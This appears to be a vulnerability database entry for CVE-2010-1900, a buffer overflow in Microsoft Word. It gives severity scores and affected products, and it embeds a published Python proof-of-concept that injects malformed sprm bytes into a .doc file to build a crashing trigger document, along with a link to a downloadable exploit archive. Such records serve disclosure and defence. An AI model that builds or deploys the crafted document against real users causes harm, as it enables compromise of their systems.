Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE-94 |
Improper Control of Generation of Code ('Code Injection') The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. |
|
Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
9.3 |
|
AV:N/AC:M/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 14971
Publication date : 2010-09-10 22h00 +00:00
Author : Abysssec
EDB Verified : Yes
'''
__ __ ____ _ _ ____
| \/ |/ __ \ /\ | | | | _ \
| \ / | | | | / \ | | | | |_) |
| |\/| | | | |/ /\ \| | | | _ <
| | | | |__| / ____ \ |__| | |_) |
|_| |_|\____/_/ \_\____/|____/
http://www.exploit-db.com/moaub11-microsoft-office-word-sprmcmajority-buffer-overflow/
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/14971.zip (moaub-11-exploit.zip)
'''
'''
Title : Microsoft Office Word sprmCMajority buffer overflow
Version : Word 2007 SP 2
Analysis : http://www.abysssec.com
Vendor : http://www.microsoft.com
Impact : Critical
Contact : shahin [at] abysssec.com , info [at] abysssec.com
Twitter : @abysssec
CVE : CVE-2010-1900
'''
import sys
def main():
try:
fdR = open('src.doc', 'rb+')
strTotal = fdR.read()
str1 = strTotal[:4082]
str2 = strTotal[4088:]
sprmCMajority = "\x47\xCA\xFF" # sprmCMajority
sprmPAnld80 = "\x3E\xC6\xFF" # sprmPAnld80
fdW= open('poc.doc', 'wb+')
fdW.write(str1)
fdW.write(sprmCMajority)
fdW.write(sprmPAnld80)
fdW.write(str2)
fdW.close()
fdR.close()
print '[-] Word file generated'
except IOError:
print '[*] Error : An IO error has occurred'
print '[-] Exiting ...'
sys.exit(-1)
if __name__ == '__main__':
main()
Products Mentioned
Configuraton 0
Microsoft>>Word >> Version 2002
Microsoft>>Word >> Version 2003
Microsoft>>Word >> Version 2007
Configuraton 0
Microsoft>>Office >> Version 2004
Microsoft>>Office >> Version 2008
Microsoft>>Open_xml_file_format_converter >> Version *
Configuraton 0
Microsoft>>Office_compatibility_pack >> Version 2007
Microsoft>>Office_word_viewer >> Version *
Microsoft>>Works >> Version 9.0
References